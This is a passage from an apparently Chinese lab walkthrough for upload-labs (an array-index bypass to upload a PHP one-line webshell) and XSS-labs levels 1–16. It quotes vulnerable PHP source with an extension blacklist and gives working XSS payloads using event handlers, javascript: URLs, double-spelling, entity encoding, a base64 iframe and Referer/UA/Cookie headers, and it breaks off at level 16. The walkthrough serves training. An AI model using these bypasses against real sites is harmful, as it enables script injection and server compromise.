        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

没有对上传的文件做判断,只对用户输入的文件名做判断上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

先准备PHP一句话木马,并把后缀名改为PNG再上传

Less-21(审计+数组绕过)

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));     //通过点分割将文件名分成一个数组
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

我们要改的就是下面的要求 修改content-type
修改POST参数为数组类型,索引[0]为upload-20.php,索引[2]为jpg|png|gif
只要第二个索引不为1,$file[count($file) – 1]就等价于$file[2-1],值为空

漏洞成因:

$file_name = reset($file) . '.' . $file[count($file) - 1];
这个代码会先将我们的我们的文件名判断是否为数组,如果不是数组,那么会利用$file = explode('.', strtolower($file));,这个代码将"."作为分割条件,将我们上传的文件名分割成数组。例如上传1.php就会得到数组[0]的元素为1,数组[1]的元素为php,

  $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }
然后这串代码会在分割后与,将我们数组元素中的最后一个值进行检查,看是否在访问白名单之中。

$file_name = reset($file) . '.' . $file[count($file) - 1];
检查完毕后,这个代码又会将我们上传的文件数统计出来,然后我们的数组进行重新拼接得到完整的文件名,保存下来。

漏洞成因:如果我们将文件名按照数组方式,采用手动方式上传,那么就不会经过重新划分文件名的过程,从而我们可以自动规定每个数组元素中的值,这样我们就可以直接规定数组元素最后一个值为白名单中的格式,如png,而数组中的其他值我们可以不写,那么在最后拼接时,系统会默认为null。这样就能构成payload如上图:
save_name[0]   为php,即我们的脚本后门文件格式
save_name[1]  可以不写或者写null
save_name[2、3、4、其他值(只要大于1就行,不然无法逃脱绕过最后一个元素的检查)] 为白名单中的格式。

例如我们上传save_name[0] 为1.php
save_name[3] 为png,
首先经过代码,会被识别成数组,检查数组名为最后一个即end($file)获取到save_name[3]的值,绕过了后缀名检测,然后经过$file_name = reset($file) . '.' . $file[count($file) - 1]; 首先count($file) - 1得到的值为1,因为我们一共上传了两个实际上的变量save_name[0]和save_name[3],所以cunt值为2,再减一则为1。所以count($file) - 1的值为1
然后拼接文件名则会将save_name[0]的值和save_name[1]的值用.号拼接,于是就变成1.php(save_name[0]的值)拼接".",再拼接save_name[1]的值,因为我们没有赋值,所以为null,最后得到的文件名就变成了1.php.   从而上传到服务器,被识别成1.php,属于一种逻辑漏洞。

XSS-labs靶场系列

less-1(get传参XSS)

打开靶场,可以看到name参数值为test,网页存在相应的回显,且payload长度也回显,于是进行测试输入1111,也可以对应的回显点发现了变化。

检查元素,查看网页源代码可以发现get传参name的值test插入了html里头,还回显了payload的长度

直接插入一段js代码,get传参

<script>alert(1)</script>

成功完成

查看关卡源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到参数以GET方式传递,然后并没有对传递的参数进行一个限制。

less-2(闭合绕过实体化)

进入关卡可以发现和上一关一样,查看一下网页源代码,可以发现这里是以form表单的形式进行参数提交

尝试输入一下,发现并没有过关提示

<script>alert(1)</script>

查看一下网页源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到存在一个htmlspecialchars()函数,该函数功能与PHP中的另一个函数htmlentities() 类似
htmlspecialchars() 函数:可以把把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体。
例如:
<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>
输出结果为
<!DOCTYPE html>
<html>
<body>
This is some &lt;b&gt;bold&lt;/b&gt; text.
</body>
</html>
浏览器输出为
This is some <b>bold</b> text.

htmlentities()也是同样的道理:把字符转换为 HTML 实体

根据这个函数会将<>这种特殊符号实体化的原理,可以将payload改为

">  <script>alert(1)</script>  <"  或者  ">  <script>alert(1)</script>

这样网页源代码中的value输入值,也就是下面这个value中的值就会

变成

<input> name="keyword" value="">  <script>alert(1)</script>  <""

这样就实现了绕过

less-3(事件触发绕过实体化)

这一关跟上一关类似:

查看源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<h1 align=center>欢迎来到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到这关跟上一关代码类似,只是在echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
处将"闭合改成了单引号‘闭合
于是编写payload:'> <script>alert()</script> <'

再次仔细查看源代码,发现在<input name=keyword value='”.htmlspecialchars($str).”‘> 表单输入处也进行了html实体化,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,这里我们可以利用onclick事件绕过,也就是事件触发型绕过。

下面是一些常见的HTML事件的列表:

事件描述
onchangeHTML 元素改变
onclick用户点击 HTML 元素
onmouseover鼠标指针移动到指定的元素上时发生
onmouseout用户从一个 HTML 元素上移开鼠标时发生
onkeydown用户按下键盘按键
onload浏览器已完成页面的加载

更多事件列表,可以参照:HTML DOM 事件对象 | 菜鸟教程

这里我们使用一个onclick事件,事件在用户点击时触发,最常与<input> 、<select>、<a> 和 标签一起使用,以上面图片的html标签为例,标签是有输入框的,简单来说,onclick事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码。

伪协议:伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,而是为关联应用程序而使用的.如:tencent://(关联QQ),data:(用base64编码来在浏览器端输出二进制文件),还有就是javascript: 我们可以在浏览地址栏里输入”javascript:alert(‘JS!’);”,点转到后会发现,实际上是把javascript:后面的代码当JavaScript来执行,并将结果值返回给当前页面。

将javascript代码添加到客户端的方法是把它放置在伪协议说明符javascript:后的URL中。这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。如果javascript:URL中的javascript代码含有多个语句,必须使用分号将这些语句分隔开。这样的URL如下所示:
javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

当浏览器装载了这样的URL时,它将执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。这个字符串值可以含有HTML标记,并被格式化,其显示与其他装载进浏览器的文档完全相同。
在浏览器打开javascript:URL的时候,它会先运行URL中的代码,当返回值不为undefined的时候,前页链接会替换为这段代码的返回值。
javascript URL还可以含有只执行动作,但不返回值的javascript语句。例如:
javascript:alert("hello world!")
装载了这种URL时,浏览器仅执行其中的javascript代码,但由于没有作为新文档来显示的值,因此它并不改变当前显示的文档。

通常我们想用javascript:URL执行某些不改变当前显示的文档的javascript代码。要做到这一点,必须确保URL中的最后一条语句没有返回值。一种方法是用void运算符显式地把返回值指定为underfined,只需要在javascript:URL的结尾使用语句void 0;即可。例如:下面的URL将打开一个新的空浏览器窗口,而不改变当前窗口的内容:
javascript:window.open("about:blank"); void 0;
如果这个URL没有void运算符,window.open()方法的返回值将被转换成字符串并被显示出来,当前窗口将被如下所示的文档覆盖

根据上述原理我们可以编写payload:

'onclick=javascript:alert(1)'>  同时利用伪协议和html事件类型来绕过html实体化对<>特殊符号的转化

还缺少一个单引号闭合,最后payload改成下面即可

'onclick='javascript:alert(1)

最后再点击搜索框即可完成

less-4(事件绕过<>过滤)

可以看到当我们输入<script>alert(1)</script> 的时候<>发生了消失,回显的是scriptalert(1)/script

于是猜测可能<>被过滤了,查看源代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

可以看到当代码以GET方式获取参数之后,会对参数进行处理,将参数中的><号替换为空,所以呈现出我们在浏览器上看到的结果,且使用的是双引号闭合

于是仍然可以采用onclick来消除<>的存在:

" onclick="alert(1)  或者   " onfocus=javascript:alert(1) "

less-5(a标签绕过一些过滤)

输入<script>alert(1)</script> 可以看到在input处代码自动被转换成<scr_ipt>alert(1)</script>

尝试一下用事件类型进行绕过

" onfocus=javascript:alert() "

可以看到onfocus也被进行转义了,查看一下php源代码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

可以看到源代码中是对on字符script字符进行了一个过滤,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,这里我们用a href标签法

href属性的意思是 当标签<a>被点击的时候,就会触发执行转跳,上面是转跳到一个网站,我们还可以触发执行一段js代码

添加一个标签得闭合前面的标签,于是构建payload,前提是闭合号<“”>没失效

"> <a href=javascript:alert()>xxx</a> <"

那么输入进去之后就能得到

<input name=keyword  value=""> <a href=javascript:alert()>xxx</a> <"">

此时点击XXX就会触发a标签href属性,即可完成该关

less-6(大小写绕过字符替换 )

输入onfocus <script> <a href=javascript:alert()> 可以发现,关键字都被进行了过滤

尝试一下大小写绕过OnFocus <sCriPt> <a hReF=javascript:alert()>

发现大小写没有被过滤掉,这题能利用大小写进行绕过,所以我们可以用下面的方法,构造payload

"> <sCript>alert(1)</sCript> <"
" Onfocus=javascript:alert(1) "
"> <a hRef=javascript:alert(1)>x</a> <"

点击X即可完成挑战,完事查看一下关卡源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<h1 align=center>欢迎来到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

这关甚至还过滤掉了data,但是没有添加小写转化函数 ,导致能用大写绕过 

less-7(双拼写绕过删除函数,img标签与iframe标签插入 )

测试一下:

可以看到我们的传进去的值,script关键字被过滤了,双引号也被过滤了,再试一下 ” OnFocus <sCriPt> <a hReF=javascript:alert()>

可以看到传进去的值,被转化变成了” focus <> <a =java:alert()>,并且也能发现这里对大写绕过进行了小写转换,将检测出来的on,script,href给删掉了,但是没有关系,我们可以利用双拼写来绕过。

比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on;比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script

这里我们构造<a>标签双写属性

"> <a hrehreff=javasscriptcript:alert()>x</a> <"

成功绕过,然后点击X 即可完成关卡,完事我们看一下这关的源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>

这关甚至还过滤掉了src和data,受不了了,居然还有我不知道的解法,我们百度找找看其他解法
src(source)是一个指向,可以大概理解跟href一样把,只是执行的内容不太一样
data一般在<iframe>标签中用来配合date:text/html(貌似解码的含义)

onerror属性是指当图片加载不出来的时候触发js函数,以上面的代码为例,这里因为src指向的是值666,而不是图片的地址和base64编码啥的,就会导致触发alert函数

参考:XSS跨站脚本攻击实例与防御策略-CSDN博客

例如在第二关中可以采用:”> <img src=’666′ onerror=alert()> <”

配合onerror属性,插入一个<img>标签,闭合掉双引号跟括号,构造payload

当然img标签还有其他姿势

当鼠标移出图片的时候执行的属性onmouseout 
"> <img src=666 onmouseout="alert()"> <"

当鼠标移动到图片的时候执行的属性onmouseover
"> <img src=1 onmouseover="alert()"> <"

再来看看data的,这里利用iframe标签,插入一个标签data:text/html;base64, 将后面的内容进行base64解码,PHNjcmlwdD5hbGVydCgpPC9zY3JpcHQ+进行base64解码后是<script>alert()</script>

"> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> <"

虽然有弹窗,但是没有过关

less-8( href属性自动解析Unicode编码)

打开是一个添加友情链接页面的一个界面

随便输入一个123试试,发现在input标签和href属性都添加了对应的回显

老方法,先看看过滤了啥关键字

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

可以看到input标签中添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、”(双引号)

看一下源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<h1 align=center>欢迎来到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>
</body>
</html>
可以看到代码中的标签大多数都被进行了一个过滤
那么我们可以利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议
payload:javascript:alert()

利用在线工具进行Unicode编码后得到

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

接着我们插入href里面

点击友情链接

less-9(插入指定内容(本关是http://)绕过检测,再将指定内容用注释符注释掉即可 )

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

先测试看看过滤了什么,

看起来貌似没有插入成功,查看一下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>
可以看到这里有实体化和一些基础的过滤,但在最后的php中添加了条件判断,当false等于false的时候(就是传入的值没有http://)就会执行if,为了防止false===false,我们需要向传入的值里面添加http://并用注释符注释掉否则会执行不了无法弹窗,让函数strpos返回一个数字,构造payload
payload:javascript:alert() Unicode编码后加上http:// 再注释掉http://
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */     

然后再点击友情链接,即可完成

less-10(猜解传参的参数名,隐藏的input标签可以插入type=”text”显示 )

可以看到get传参得到的值再h2中得到显示,并且form表单中的值是以hidden的形式存储的,查看一下源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<h1 align=center>欢迎来到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
可以看到代码中存在实体化过滤<>,可以采用onfocus事件,且存在两个参数名,一个是keyword、一个是t_sort,且这里输入框被隐藏了,需要添加type="text",构造payload
?t_sort=" onfocus=javascript:alert() type="text

然后点击出现的搜索框即可。

less-11(http头传值,本关是referer,也有可能是其他头如Cookie等)

<input>标签有四个值,都做了隐藏处理,不难看出,第四个名为t_ref的<input>标签是http头referer的参数(就是由啥地址转跳到这里的,http头的referer会记录有),我们先做个简单的测试来验证一下前面三个标签名,GET与POST传参都试一下看看

GET传参
?t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

没赋值成功,再试试看POST传参:

t_link=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_history=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>&t_sort=" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()>

POST传参也不得,那应该就referer头了,用burpsuite抓包一下,添加http头

Referer: " sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

放行数据包再查看一下源码

对比发现,把大于小于号><给删掉了,但是我们还能用onfocus,构造一个http头

Referer: " onfocus=javascript:alert() type="text

然后只需点击选中搜索框即可

之后我们再看一下这关的源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<h1 align=center>欢迎来到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
跟猜想的一样,这题还有GET传参的,但是有实体化函数在双引号就闭合不了了 

less-12(UA头传值)

源码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level12</title>
</head>
<body>
<h1 align=center>欢迎来到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
payload:" onfocus=javascript:alert() type="text

然后点击搜索框即可完成

less-13(cookie传参)

源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level14.php"; 
}
</script>
<title>欢迎来到level13</title>
</head>
<body>
<h1 align=center>欢迎来到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>
payload:" onclick=alert() type="text 

然后点击搜索框即可

less-14(exif xss)

这一关比较特殊,payload是一张图片马,考到了CTF中的杂项中隐写Exif隐藏信息,就不展开讲了,感兴趣的可以去百度搜搜

首先什么是exif

可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。

这关没啥交互,只是会定时转跳到一个奇怪的已经挂掉了的网站,直接看一下后端源码吧,跟源码一样,这题本来是利用转跳到的网站,在那网站去上传一个,属性里面含有xss代码的图片,以达到弹窗的效果

源代码

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到level14</title>
</head>
<body>
<h1 align=center>欢迎来到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xss/level15.php?src=1.gif>点我进level15</a></center>
</body>
</html>

payload

参考:[靶场] XSS-Labs 14-20_xss-labs第14关-CSDN博客

less-15(ng-include文件包涵,可以无视html实体化

可以看到这儿有个陌生的东西ng-include

ng-include指令就是文件包涵的意思,用来包涵外部的html文件,如果包涵的内容是地址,需要加引号

ng-include属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。

参考:AngularJS ng-include 指令 | 菜鸟教程

查看源代码:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

我们先试试看包涵第一关,构建payload

?src='/level1.php'  

所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果,先测试一下过滤了啥,构造payload

?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

对比发现,这里有个html实体化函数在,没有删掉东西,所以不影响我们接下来的操作,我们可以包涵第一关并让第一关弹窗(注意,这里不能包涵那些直接弹窗的东西如<script>,但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的),这里我们使用img标签,可参考XSS常见的触发标签,构造payload

?src='level1.php?name=<img src=1 onerror=alert(1)>'

当鼠标移动到图片的时候就触发了弹窗

当然也能用p标签,可以构造payload

?src='/level1.php?name=<p onmousedown=alert()>哈哈哈</p>'

点击哈哈哈即可弹窗,接下来我们看一下这关的后端源码

less-16(回车%0A代替空格绕过检测)

test插入到了center标签中,所以这里就不用闭合了,老规矩,先测试一波关键字

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()> &#106; 

这里先是将字母小写化了,再把script替换成空格,最后将空格给实体化,想尝试一下p标签<p οnmοusedοwn=alert()>abc</p>,谁知道也将/给替换成了空格,无奈,只好查看源码:

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level17.php?arg01=a&arg02=b"; 
}
</script>
<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
